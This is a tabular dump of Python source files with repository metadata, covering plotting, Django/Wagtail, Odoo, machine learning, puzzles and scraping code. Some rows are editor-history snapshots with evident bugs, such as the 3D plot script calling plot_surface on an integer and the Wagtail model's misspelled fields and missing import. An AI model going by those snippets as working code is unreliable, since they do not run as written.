blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5160648ff6181e00a8245bb666375417f509ab68 | 02e23da0431623db86c8138bda350a1d526d4185 | /Archivos Python Documentos/Graficas/.history/3d_20200219112629.py | 1f977510511dff31a480c6ee7a600b119cdd23c8 | [] | no_license | Jaamunozr/Archivos-python | d9996d3d10ff8429cd1b4c2b396016a3a5482889 | 1f0af9ba08f12ac27e111fcceed49bbcf3b39657 | refs/heads/master | 2022-08-05T14:49:45.178561 | 2022-07-13T13:44:39 | 2022-07-13T13:44:39 | 244,073,267 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | py | import pylab as pl
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
fig = pl.figure()
ax = Axes3D(fig)
X = np.arange(-10, 10, 0.25)
Y = np.arange(-10, 10, 0.25)
X, Y = np.meshgrid(X, Y)
ax = int(5) #, ay = 0.5
print(int(ax))
Z = np.sqrt(X ** 2 + Y ** 3)
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=p... | [
"[email protected]"
] | |
4a78a093202a039af99d5d6f6fa91fbb5996a7b5 | e0980f704a573894350e285f66f4cf390837238e | /.history/news/models_20201124144521.py | 8af4cd733221c3bf6f1b3de3521f5b42a13a09fd | [] | no_license | rucpata/WagtailWebsite | 28008474ec779d12ef43bceb61827168274a8b61 | 5aa44f51592f49c9a708fc5515ad877c6a29dfd9 | refs/heads/main | 2023-02-09T15:30:02.133415 | 2021-01-05T14:55:45 | 2021-01-05T14:55:45 | 303,961,094 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,234 | py | from django.db import models
from wagtail.contrib.forms.models import AbstractEmailForm
# Create your models here.
class NewsPage(AbstractEmailForm):
tempalte ='news/news_page.html'
leanding_page_template = 'news/news_page_leading.html'
subpage_types = []
max_coun = 1
intro = RichTextField(blan... | [
"[email protected]"
] | |
6a757cada6a40ec963004ced739f41d9c6365765 | 350db570521d3fc43f07df645addb9d6e648c17e | /0349_Intersection_of_Two_Arrays/solution.py | 09b0c446678c615e5439884d5e2bd613446fb3e3 | [] | no_license | benjaminhuanghuang/ben-leetcode | 2efcc9185459a1dd881c6e2ded96c42c5715560a | a2cd0dc5e098080df87c4fb57d16877d21ca47a3 | refs/heads/master | 2022-12-10T02:30:06.744566 | 2022-11-27T04:06:52 | 2022-11-27T04:06:52 | 236,252,145 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 681 | py | '''
349. Intersection of Two Arrays
Given two arrays, write a function to compute their intersection.
Example:
Given nums1 = [1, 2, 2, 1], nums2 = [2, 2], return [2].
Note:
Each element in the result must be unique.
The result can be in any order.
'''
def arrays_interseciton(nums1, nums2):
return set(nums1).i... | [
"[email protected]"
] | |
724d0bb4e0744c1d6d69e5e19135a4287262044b | eb0711915d6bba2f765f052736e33ac9a9a397a6 | /HE0435/simulation/rebin/rebin_arc.py~ | 337e999780ea9cca34a003793c200dfa2a4d4cf5 | [] | no_license | dartoon/GL_HostGalaxy | cd2166f273ae7e0397a7d2d39f760ab59e86f014 | 7469f1c1e640d176a75cc6e9497920e494ad656a | refs/heads/master | 2016-08-11T13:27:17.545360 | 2016-04-07T19:04:57 | 2016-04-07T19:04:57 | 46,524,027 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 856 | #from high resoluted images (sub=6) to lower one (bin together)
from numpy import *
from block import *
import pyfits
file1 = open('../pylens/HE0435.txt','r')
para = loadtxt(file1)
file1.close()
#print len(para)
ln=len(para)
for l in range(ln):
filename='../fits/HE_arc-{0}.fits'.format(l+1) # take one image
d =... | [
"[email protected]"
] | ||
8559ef8a1708043e87dc324c69fdc5c2fd4a9cc5 | 5306217707f99ff1d082bb974db0ccebf948763f | /ntds/management/commands/load_ntd_reporters.py | 6a982e8e91b60fd7022f626c0220309161086c87 | [] | no_license | sparkplug/rapidsms-ntds | 05b64e67d5bcf751029653eb2f2a64e331e9a9c9 | 8b42c749db4c34e43eb39f3c52d540c84a8b810e | refs/heads/master | 2021-01-16T17:45:09.821171 | 2016-02-15T20:50:26 | 2016-02-15T20:50:26 | 25,920,319 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,712 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
from django.core.management import BaseCommand
from rapidsms_xforms.models import *
from ntds.utils import validate_number
from rapidsms.contrib.locations.models import Location
from django.utils.safestring import mark_safe
from ntds.models import Reporter
import operator
from ... | [
"[email protected]"
] | |
f7ed33b9024bcb5172bdd606904702df2764077f | f043fee89c0e2030386adcebb74d08164b7b974f | /reagent/net_builder/continuous_actor/fully_connected.py | d4e4b0544a3a1aedfbc18dfbfa123066351d9bac | [
"BSD-3-Clause"
] | permissive | IronOnet/ReAgent | c2d22e7dc63eaf61e0a50e9343110c6df79a9b40 | 67434f458cde1f2c946237e866a73392279a7ede | refs/heads/master | 2023-04-06T17:31:59.751700 | 2021-04-12T21:56:19 | 2021-04-12T21:57:05 | 357,700,053 | 2 | 0 | BSD-3-Clause | 2021-04-13T22:04:09 | 2021-04-13T22:04:09 | null | UTF-8 | Python | false | false | 1,998 | py | #!/usr/bin/env python3
from typing import List, Optional
from reagent.core.dataclasses import dataclass, field
from reagent.core.parameters import NormalizationData, param_hash
from reagent.models.actor import FullyConnectedActor
from reagent.models.base import ModelBase
from reagent.net_builder.continuous_actor_net_... | [
"[email protected]"
] | |
4ca9ecc74b019cd4659ed7ea6d8725e8ecdc45b2 | 780fa3fed7e5890f26f9c952f10cefbacfa6e09a | /recursive_convolution.py | 69f1fc591f8ffd4d30a7c182f4f9dc8aae9f26f8 | [] | no_license | jsrimr/code_during_KTaiacadmey | d508303417fe0916f98f7cd65c6521adb0a933fa | ab98b1613d9cb8ca77cd2462e0a42664b71bd758 | refs/heads/master | 2021-12-03T08:09:01.199462 | 2018-06-25T05:49:07 | 2018-06-25T05:49:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,346 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 22 17:18:19 2018
@author: ktai12
"""
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
sess=tf.InteractiveSession()
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("/tmp/data/"... | [
"[email protected]"
] | |
aa6ea506e424f5b0a50f4537652395b31a901596 | 75e1d9446cb1fca5c6a79ad0ba7f38268df1161f | /Python Programs/rotate-matrix-pattern.py | baeb1e16ee8363e61f12b29a05e4442f2d438d48 | [
"CC0-1.0"
] | permissive | muhammad-masood-ur-rehman/Skillrack | 6e9b6d93680dfef6f40783f02ded8a0d4283c98a | 71a25417c89d0efab40ee6229ccd758b26ae4312 | refs/heads/main | 2023-02-03T16:45:54.462561 | 2020-12-23T08:36:28 | 2020-12-23T08:36:28 | 324,221,340 | 4 | 1 | CC0-1.0 | 2020-12-24T19:12:54 | 2020-12-24T19:12:54 | null | UTF-8 | Python | false | false | 1,377 | py | Rotate Matrix Pattern
The program must accept an integer matrix of size N*N as the input. The program must rotate the matrix by 45 degrees in the clockwise direction. Then the program must print the rotated matrix and print asterisks instead of empty places as the output.
Boundary Condition(s):
3 <= N <= 100
Input For... | [
"[email protected]"
] | |
079896499559440bc3938ad7b69fe1408bc3ac4c | 7f167121b52312d65663d781819356eac65843ed | /lib/xss.py | d7d8def40702d5eb17aac4d709ddc99b82bb50ed | [] | no_license | mongoltolbo/mifan.tv | b3526aaeb5394b3ac1e7af85b8ea3a74e90ce73e | 9ba59b049866dff7c4d9eceabed91d8a1878ef4b | refs/heads/master | 2020-05-04T19:20:22.340674 | 2013-08-27T15:53:34 | 2013-08-27T15:53:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,954 | py | #!/usr/bin/env python
# coding=utf-8
#
# Copyright 2013 tuila.me
# Source: http://code.activestate.com/recipes/496942/ (r1)
import re
from htmllib import HTMLParser
from cgi import escape
from urlparse import urlparse
from formatter import AbstractFormatter
from htmlentitydefs import entitydefs
from xml.sax.saxutils... | [
"[email protected]"
] | |
deb0e9f6012ff44565f83f4240236d6e9dba8965 | 1ee3dc4fa096d12e409af3a298ba01f5558c62b5 | /ixnetwork_restpy/testplatform/sessions/ixnetwork/topology/nettopologytree.py | b6b429aac376022dac44a1359e79e6768a182f2c | [
"MIT"
] | permissive | parthpower/ixnetwork_restpy | 321e64a87be0a4d990276d26f43aca9cf4d43cc9 | 73fa29796a5178c707ee4e21d90ff4dad31cc1ed | refs/heads/master | 2020-07-04T13:34:42.162458 | 2019-08-13T20:33:17 | 2019-08-13T20:33:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,828 | py | # MIT LICENSE
#
# Copyright 1997 - 2019 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify,... | [
"[email protected]"
] | |
f9e738f5b5b8110966032a68c9aeae66c200a6bf | 7c9919126b96122c1a8c6353769e209d850e4564 | /bnk_hr_leave/models/hr_leave_allocation.py | bee706f6393dea1a328430f51d060ead0e48e84c | [] | no_license | Duongnv-dev/hr | 8ee34c904d481a4d0f4182c3c6bfd6c28ef25ffe | 962e0edab5b824304f4a2b2dff23458135f94c3c | refs/heads/master | 2023-06-19T06:54:00.337453 | 2021-07-13T01:53:34 | 2021-07-13T01:53:34 | 385,439,085 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 210 | py | from odoo import fields, models, api
class HrLeaveAllocation(models.Model):
_inherit = 'hr.leave.allocation'
_description = 'Inherit leave allocation'
contract_id = fields.Many2one('hr.contract') | [
"[email protected]"
] | |
9184d820d21d39a76067d3a1353b4cc581849604 | c52e7808ab764d822267b36a185223a172a56b5a | /tasks/1_area_of_triangle.py | 815e4c3722c0eea544ca8f78c924b6611d678e2e | [] | no_license | lohitbadiger/Python-teaching-all | c41bfa2c98bab1493aba5269ab81efa6be02c73f | b7ed285b6b2df9c23fa5bf0c91381729b9ac0c6f | refs/heads/master | 2020-06-02T21:13:05.276475 | 2019-06-17T06:55:06 | 2019-06-17T06:55:06 | 191,311,539 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 314 | py | # base=int(input("Enter the value for base: "))
# hight=int(input('Enter the Height :'))
# area=0.5*base*hight
# print('area of the triangle is ', area)
# one more way
x,y=input('Enter the value for x, y').split()
print('value of x is ', x)
print('value of y is ', y)
reslt= 0.5*int(x)*int(y)
print(reslt)
| [
"[email protected]"
] | |
3e243c5c508242ec4a50d667569a9822d6418118 | e5dc27e634aba70bcd1b3acea74fed84ddccf837 | /plugins/modules/network_device_update_role.py | be3fbcb35812197122cd5cd3a645eff6418c11d8 | [] | no_license | jejrichardson/dnacenter-ansible | 264d1b52227d4bf78ad175494763cff9e7881f34 | f10078ef8323bda4b542e71bcecf4f80a7fe0609 | refs/heads/master | 2023-01-28T09:54:57.449459 | 2020-12-09T23:15:49 | 2020-12-09T23:15:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,543 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2020, Rafael Campos <[email protected]>
# GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {
"metadata_version": "0.0.1",
"status": ["preview"],
"supported_by": "community",
}
DOCUMENTAT... | [
"[email protected]"
] | |
bbaf9c29390c28dc9d8519047288393f4d9b4247 | 455a91b28590d0b7ee1519f6d1ee2d554db4298b | /exps/exp_22102015/positioning_covar_meta.py | 2719fdaf70712a3ec6f905739e3e081ec62ac8f3 | [] | no_license | yairbeer/my_repository | a038201fb12b19cb249eb98c17478b0c086a9b04 | a07660b9db412c11ae3fb6835e15481e60a687ff | refs/heads/master | 2021-01-10T01:20:27.010430 | 2015-11-19T08:47:55 | 2015-11-19T08:47:55 | 46,478,844 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,758 | py | import numpy as np
import exps.exp_22102015.config_exp as cfg_exp
import exps.fn_exp as fn_exp
import functions as fn
import matplotlib.pyplot as plt
import exps.exp_22102015.track as track
import exps.exp_22102015.doa as doa
import itertools
import matplotlib.pyplot as plt
__author__ = 'YBeer'
"""
calculating probab... | [
"[email protected]"
] | |
49aa9867f2de64f94bc8bce9aee367e02d4c0ece | bbab25f702c7bb7ce6cd894d98a121e61967d48a | /controllers/controllers.py | 11968a608c0f21d15bc486b283939dc4dc43cadd | [] | no_license | butirpadi/bp_po_carton_box_report | 9b83310ea010dbe848857cae74642e6993431d58 | 2f9bad119b1fe371bf4bc2d8ba09917c2134f86b | refs/heads/master | 2023-08-30T03:49:11.564193 | 2021-11-01T09:23:11 | 2021-11-01T09:23:11 | 309,541,390 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 935 | py | # -*- coding: utf-8 -*-
from odoo import http
# class BpPoCartonBoxReport(http.Controller):
# @http.route('/bp_po_carton_box_report/bp_po_carton_box_report/', auth='public')
# def index(self, **kw):
# return "Hello, world"
# @http.route('/bp_po_carton_box_report/bp_po_carton_box_report/objects/', ... | [
"[email protected]"
] | |
fa3baa33bdde98c67faa2adaf19e614694f489e8 | 00a9128553902cb398dc99865d36e09159285b86 | /python/p3.py | 1f8b36777f8dc1b69701b73902672fc201d33c6f | [] | no_license | horacepan/aoc2020 | f498faa8c8bba4cabcfba6508a73074adb51d84c | f6d38f2b37245e89fb6f8eb4c55c74423626ca04 | refs/heads/main | 2023-02-06T03:16:21.530346 | 2020-12-20T21:33:53 | 2020-12-20T21:33:53 | 317,640,340 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 775 | py | import pdb
def solve(mat, dx, dy):
rows = len(mat)
cols = len(mat[0])
loc_x = 0
loc_y = 0
ntrees = 0
while 1:
if loc_x < rows:
ntrees += int(mat[loc_x][loc_y] == '#')
else:
break
loc_x += dx
loc_y = (loc_y + dy) % cols
return ntrees
... | [
"[email protected]"
] | |
c40632c9ff9da232e070e4cdd547dfd5cc32f0d4 | 31e1261588e953d4e702a76e1c5306a8a97cff04 | /monk/gluon/datasets/paths.py | c4656a51daa42e9c5cca5e8dd8767763c42c03c2 | [
"Apache-2.0"
] | permissive | Varun0801/monk_v1 | cff6e8390a9248208ba825eb0046119f4f284ab1 | 559ff37669d88fd2cfaaf9d22ad84cd6cef9d176 | refs/heads/master | 2022-04-17T05:19:53.372524 | 2020-04-11T13:11:35 | 2020-04-11T13:11:35 | 255,113,878 | 1 | 0 | null | 2020-04-12T15:35:25 | 2020-04-12T15:35:24 | null | UTF-8 | Python | false | false | 4,546 | py | from gluon.datasets.imports import *
from system.imports import *
@accepts(dict, [str, list, bool], [float, int, bool], [str, list, bool], str, post_trace=True)
@TraceFunction(trace_args=False, trace_rv=False)
def set_dataset_train_path(system_dict, path, split, path_to_csv, delimiter):
'''
Set dataset train ... | [
"[email protected]"
] | |
3a9bd176b6447bea26b249ad12815762e165a913 | c80314871502377180b1d496d0d4e7dc9e8cdba8 | /exercise/python_1040_practice_algo_recursion_hanoi.py | abbc470f6e534414af43740e26a3719053d2293e | [] | no_license | tomboxfan/PythonExample | 996896bcbc0bf83fbca7d28bcb207dca35875f6b | 8b071314b4dc4c3e3acccb835405c44630a15722 | refs/heads/master | 2023-02-11T13:55:26.591124 | 2021-01-09T03:20:46 | 2021-01-09T03:20:46 | 275,275,138 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,672 | py | '''
Requirement:
The Tower of Hanoi puzzle was invented by the French mathematician Edouard Lucas in 1883.
He was inspired by a legend that tells of a Hindu temple where the puzzle was presented to young priests.
At the beginning of time, the priests were given three poles and a stack of 64 gold disks,
each disk a litt... | [
"[email protected]"
] | |
e6f61f08c4027bfec92381e04e2087c07efa6800 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03592/s369623086.py | 0473e1e86b92c11c4dd5abc861aa31996a132b45 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 926 | py | import sys, re
from collections import deque, defaultdict, Counter
from math import ceil, sqrt, hypot, factorial, pi, sin, cos, radians
from itertools import accumulate, permutations, combinations, product, groupby
from operator import itemgetter, mul
from copy import deepcopy
from string import ascii_lowercase, ascii_... | [
"[email protected]"
] | |
5b17863999522ec2777bdd7083007c20f69cbd08 | df7f13ec34591fe1ce2d9aeebd5fd183e012711a | /hata/discord/channel/channel_metadata/tests/test__ChannelMetadataGuildThreadAnnouncements__utility.py | 79cd654d880a07831297665da13916f7b7c4630c | [
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | HuyaneMatsu/hata | 63e2f6a2d7a7539fd8f18498852d9d3fe5c41d2e | 53f24fdb38459dc5a4fd04f11bdbfee8295b76a4 | refs/heads/master | 2023-08-20T15:58:09.343044 | 2023-08-20T13:09:03 | 2023-08-20T13:09:03 | 163,677,173 | 3 | 3 | Apache-2.0 | 2019-12-18T03:46:12 | 2018-12-31T14:59:47 | Python | UTF-8 | Python | false | false | 7,445 | py | from datetime import datetime as DateTime
import vampytest
from ..guild_thread_base import ChannelMetadataGuildThreadBase
from .test__ChannelMetadataGuildThreadBase__constructor import _assert_fields_set
def test__ChannelMetadataGuildThreadBase__copy():
"""
Tests whether ``ChannelMetadataGuildThreadBase.co... | [
"[email protected]"
] | |
2f716cb7b50e626cfc3fb1549ff0e4f0ef60f3e3 | eaaecada4c78c899bfdb6a83aaf66502a7d4bc4c | /data_augmentation/eda/image/task.py | b35e6ade3e8418844f9ba5b2dd23402bc1d86d19 | [
"MIT"
] | permissive | simran-arora/emmental-tutorials | 72552d6bcb3311e011f99fa6d164fa619c913283 | 249a82a57be58e960408a45e2e0daa72980d210a | refs/heads/master | 2022-12-01T20:12:55.613955 | 2020-08-13T08:16:12 | 2020-08-13T08:16:12 | 286,825,852 | 0 | 0 | MIT | 2020-08-11T19:01:59 | 2020-08-11T19:01:58 | null | UTF-8 | Python | false | false | 2,621 | py | import logging
from functools import partial
import numpy as np
import torch
import torch.nn.functional as F
from emmental.scorer import Scorer
from emmental.task import EmmentalTask
from torch import nn
from eda.image.config import TASK_INPUT_SIZE, TASK_METRIC, TASK_NUM_CLASS
from eda.image.models import ALL_MODELS
... | [
"[email protected]"
] | |
dd93ddbc2c6ada0eec838318e43428eb9841c4f1 | e19ddf30bf87a4efdc449fa49b9621ca1460a515 | /castle/theme/interfaces.py | 5d42e09dbd195823850c02a445e872c1457cc0c0 | [] | no_license | castlecms/castle.theme | a220d25b1cf40fa47fb4af9be3cfa8d6a1cc75c9 | 4a36537ddc4db59ea2902a71e544f5a319a5a15c | refs/heads/master | 2022-11-02T10:53:04.758867 | 2020-02-21T21:28:10 | 2020-02-21T21:28:10 | 72,666,053 | 5 | 3 | null | 2022-10-05T11:20:53 | 2016-11-02T17:47:59 | CSS | UTF-8 | Python | false | false | 209 | py | from zope.interface import Interface
class ICustomTheme(Interface):
"""Marker interface that defines a Zope 3 browser layer.
"""
class IUtils(Interface):
def get_folder_section():
pass | [
"[email protected]"
] | |
911fe05a24b4aea8350196fde947b9a287d1e07d | 638af6b8c580eeae23fc1034882c4b514195137a | /Packages/cmor/Test/test_python_common.py | c4566b2f070f86cc7058dd832773ef15518464f7 | [] | no_license | doutriaux1/uvcdat | 83684a86b514b8cac4d8900a503fc13d557fc4d2 | 37e9635f988696c346b4c3cdb49144d1e21dab5d | refs/heads/master | 2021-01-17T07:57:22.897539 | 2015-02-02T22:52:12 | 2015-02-02T22:52:12 | 14,878,320 | 1 | 0 | null | 2015-02-19T20:54:25 | 2013-12-02T23:44:46 | C | UTF-8 | Python | false | false | 4,668 | py | import numpy
# this test tries to mimic ippc_test_code.c but from python
# This one is using direct C calls from python not the python around it
ntimes=2
lon=4
lat=3
lev=5
lev2=17
varin3d=["CLOUD", "U", "T" ];
# /* Units appropriate to my data */
units3d=["%", "m s-1", "K"];
# /* Corresponding IPCC Table A1c en... | [
"[email protected]"
] | |
252a5265eda2101371d397eb500378a31d787fa2 | 2e356d3be3eb83ef89317a7804e8fa4567898d6f | /chapter1/code/metadata/extract_articles.py | fca044b690428e12f7d91aeeee034f30287dd60e | [
"MIT"
] | permissive | PacktPublishing/Advanced-Web-Scraping-with-Python | 91069bbf925e142ee64e8c80ae97c28077def052 | 6624b71b2889a6fcfa3f080a6e15b979e582cce6 | refs/heads/master | 2021-07-09T10:29:35.394560 | 2021-01-21T07:12:34 | 2021-01-21T07:12:34 | 213,933,836 | 17 | 8 | null | null | null | null | UTF-8 | Python | false | false | 751 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import newspaper
cnn_paper = newspaper.build('http://cnn.com')
print('*****************************category urls************************************\n')
for category in cnn_paper.category_urls():
print(category)
print('*****************************url articles********... | [
"[email protected]"
] | |
940e980bebc322bec60c56ff452cc02f1fa66e97 | f9033131dc4d66ede2c5c22fcaa4a0be5b682152 | /SegmentTrees/Tasks/eolymp(2941).py | 3ebde2e3290bba8960436b76b06836cf33e41562 | [] | no_license | Invalid-coder/Data-Structures-and-algorithms | 9bd755ce3d4eb11e605480db53302096c9874364 | 42c6eb8656e85b76f1c0043dcddc9c526ae12ba1 | refs/heads/main | 2023-04-29T08:40:34.661184 | 2021-05-19T10:57:37 | 2021-05-19T10:57:37 | 301,458,981 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,112 | py | #https://www.e-olymp.com/uk/submissions/7648758
from math import log2, ceil
class SegmentTree:
''' Дерево відрізків з операцією суми.'''
def __init__(self, array):
k = len(array)
n = 1 << ceil(log2(k))
self.items = n * [0] + array + (n - k) * [0]
for i in range(n - 1, 0, -1):
... | [
"[email protected]"
] | |
311e5628fc15ce4639452642b0f5bc2cc980bb8d | b5ce6908490cfb8e6a1e1cbe4745d675122ddce0 | /questions/single-element-in-a-sorted-array/Solution.py | 3654674cf86e3e46733b7d40cc107476d78e5504 | [
"MIT"
] | permissive | franklingu/leetcode-solutions | 8895910f13208e1d8e604100d84c2dd35684cde4 | 7ad7e5c1c040510b7b7bd225ed4297054464dbc6 | refs/heads/master | 2023-01-09T01:34:08.097518 | 2023-01-02T02:05:35 | 2023-01-02T02:05:35 | 43,345,677 | 155 | 66 | MIT | 2020-10-02T03:41:36 | 2015-09-29T04:54:38 | Python | UTF-8 | Python | false | false | 839 | py | """
You are given a sorted array consisting of only integers where every element appears exactly twice, except for one element which appears exactly once. Find this single element that appears only once.
Follow up: Your solution should run in O(log n) time and O(1) space.
Example 1:
Input: nums = [1,1,2,3,3,4,4,8,8]... | [
"[email protected]"
] | |
b6c5a444d53fac0f7a74a29f4133549428f0157a | c3a0d8cc1e386717dffd93d0eb58bec752e26b0a | /test787-keras_block/main.py | 9503c190eb670d02b58aab4d7b06af569f387d96 | [] | no_license | matthiaswh/bit4 | 0ce0e385d889a30620426bc60aa47de0ecef21de | 0633d7357d157b5f47c70091dc676dc2e06c1ae1 | refs/heads/master | 2022-11-10T07:44:28.706805 | 2020-06-21T13:12:26 | 2020-06-21T13:12:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,152 | py | import keras
import keras.backend as K
import keras.layers as L
import numpy as np
from layers import LayerBlock, Module
# Weight regularization works but batch normalization does not work!
def main():
tcn = TCN(10, kernel_size=5, dilation_rates=[1, 2, 4, 8, 16])
model = keras.Sequential(
[
... | [
"[email protected]"
] | |
3936237e41a796d8b7cea9c0aef0a060bba62c82 | 97d5efaf0e15c537d4380ae3b61b88ee3d8e84ab | /MiSeguroVirtualBackend/insurances/migrations/0013_userpolicy_adviser_cellphone.py | 01562d2fd74b1024f2331ea628035c909f6ab024 | [] | no_license | dmontoya1/mi-seguro-virtual | af49f0d4492264cea23b6d50a2a2b27c9816e843 | 6e14fb5e38b3a7192e532a46b842d6a2f80d5ea7 | refs/heads/master | 2023-05-06T07:43:16.335977 | 2019-04-03T17:57:32 | 2019-04-03T17:57:32 | 371,432,047 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 490 | py | # Generated by Django 2.0.6 on 2018-12-18 03:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('insurances', '0012_auto_20181206_2028'),
]
operations = [
migrations.AddField(
model_name='userpolicy',
name='advise... | [
"[email protected]"
] | |
5bbb725cb6a7f41b724a108f31fc041271cc5ebc | 41ea088695ed956ef8c6e34ace4d8ab19c8b4352 | /XDG_CACHE_HOME/Microsoft/Python Language Server/stubs.v1/ebnjyiNMGOHuosJ_EE7SGKALWfhDqU3P4hGf55ouVTM=/_sparsetools.cpython-37m-x86_64-linux-gnu.pyi | d5f00fb6c5fb347fd16db47ae3c4ea852c2c1bd8 | [] | no_license | ljbelenky/decline | d5c1d57fd927fa6a8ea99c1e08fedbeb83170d01 | 432ef82a68168e4ac8635a9386af2aa26cd73eef | refs/heads/master | 2021-06-18T17:01:46.969491 | 2021-04-26T18:34:55 | 2021-04-26T18:34:55 | 195,559,200 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,625 | pyi | __doc__ = None
__file__ = '/home/land/.local/lib/python3.7/site-packages/scipy/sparse/_sparsetools.cpython-37m-x86_64-linux-gnu.so'
__name__ = 'scipy.sparse._sparsetools'
__package__ = 'scipy.sparse'
def bsr_diagonal():
pass
def bsr_eldiv_bsr():
pass
def bsr_elmul_bsr():
pass
def bsr_ge_bsr():
pass
... | [
"[email protected]"
] | |
4b1eb52decc3b5781a44abbeb0ef755e29c9aa0e | c84a561927ff9c6712e521c3448531f4992f41fb | /AlgorithmicHeights/INV/inv.py | 7999bdddb37a864f597dba8e6627368d857f4743 | [] | no_license | Meng-Gen/rosalind | 55c174005807d0fc8703e62f7358f4ed205f977d | 3cf5e0ee1536e3e762ddd5354b8da4c8d378a640 | refs/heads/master | 2020-05-13T15:47:13.504360 | 2013-12-29T12:15:27 | 2013-12-29T12:15:27 | 15,453,371 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,579 | py | import sys
def read_dataset():
lines = [line.strip() for line in sys.stdin.readlines()]
n = int(lines[0])
array = list(map(int, lines[1].split()))
assert(n == len(array))
return n, array
class CoutingInversionProblem():
def __init__(self, size, array):
self.size = size
self... | [
"[email protected]"
] | |
f955924de40322655374d0ebcb1737d4c9f84630 | db0e8aa3a92a30c9b1cc8da03725e951ff64f3f1 | /app1/forms.py | 744896064b952f02b93b044a8985999dd061a2d9 | [
"BSD-3-Clause"
] | permissive | shrey-c/DataLeakageDjango | ffeef61caa347520747fc70cf3f7f8b84a9610cf | a827c5a09e5501921f9fb97b656755671238dd63 | refs/heads/master | 2022-11-30T03:30:12.313025 | 2020-07-12T06:47:44 | 2020-07-12T06:47:44 | 242,569,637 | 6 | 1 | BSD-3-Clause | 2022-11-22T05:20:22 | 2020-02-23T18:33:04 | Python | UTF-8 | Python | false | false | 1,729 | py | from django import forms
from app1.models import Document, DetectorUpload
class ChangepwdForm(forms.Form):
def __init__(self, *args, **kwargs):
super(ChangepwdForm, self).__init__(*args, **kwargs)
self.fields['current'].widget.attrs = {
'class' : 'form-control',
'placeholder' : 'Current Password'
}
self... | [
"[email protected]"
] | |
a717be30c5eafe7027a31daef6d7c4b751ab3056 | 7ef2308e51d1d5700fbd092177ee15e2a03ebdd8 | /WorkLean/Python/Scrapy/testCrawler1_0/testCrawler1_0/settings.py | 9a35f942f04500c15cbc5e210353e021980e8568 | [] | no_license | STAWZW/STAWZW1.0 | 741002eb35c2883e5739fee8d14ff430e9622c01 | a835ac27aba17f968116e321bd201b26c9fb3578 | refs/heads/master | 2020-07-21T20:21:59.753992 | 2019-09-26T09:21:28 | 2019-09-26T09:21:28 | 206,965,347 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,037 | py | # -*- coding: utf-8 -*-
# import random
# Scrapy settings for testCrawler1_0 project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# https://doc.scrapy.org/en/latest/topics/settings.html
# https://doc.scr... | [
"[email protected]"
] | |
